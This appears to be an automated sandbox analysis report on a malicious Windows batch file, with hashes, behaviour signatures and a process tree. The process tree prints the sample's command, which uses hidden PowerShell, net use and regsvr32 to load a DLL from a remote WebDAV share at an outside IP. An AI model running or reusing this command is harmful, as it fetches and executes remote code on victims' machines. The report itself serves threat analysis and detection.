Analysis

  • max time kernel
    141s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-07-2024 05:35

General

  • Target

    27810222482427612616.bat

  • Size

    17KB

  • MD5

    f950f3e97d8fbde8ccf55f5e58552acc

  • SHA1

    95e2a9202403339f5abd407d82bd7380ff39b128

  • SHA256

    32abcf421523d8cb99016a11655de65f76a8c7ca074e51a83e549127b73a5f4d

  • SHA512

    f99cb779a289295bdbcc8c1daab6c3690f3bf7186593a95468746b5583890538bb0d97510e109eaec324dad6099da1aeedc9bc128856a531c155478541d1c5af

  • SSDEEP

    192:ei1fVOTcxXUMK70h0nQq14O3voiLHYTHFaOY84ppeyYw2q9RX2nGt88o88dAXcAT:ei7xXUMK7Z1NvfHYhR4PYV0c/teijwp

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\27810222482427612616.bat"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:4792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\20771511422321.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2232
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2432
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\20771511422321.dll
          3⤵
            PID:4044
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
        1⤵
          PID:4436

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uux3mslx.a0j.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/2232-9-0x00000279D7C80000-0x00000279D7CA2000-memory.dmp

          Filesize

          136KB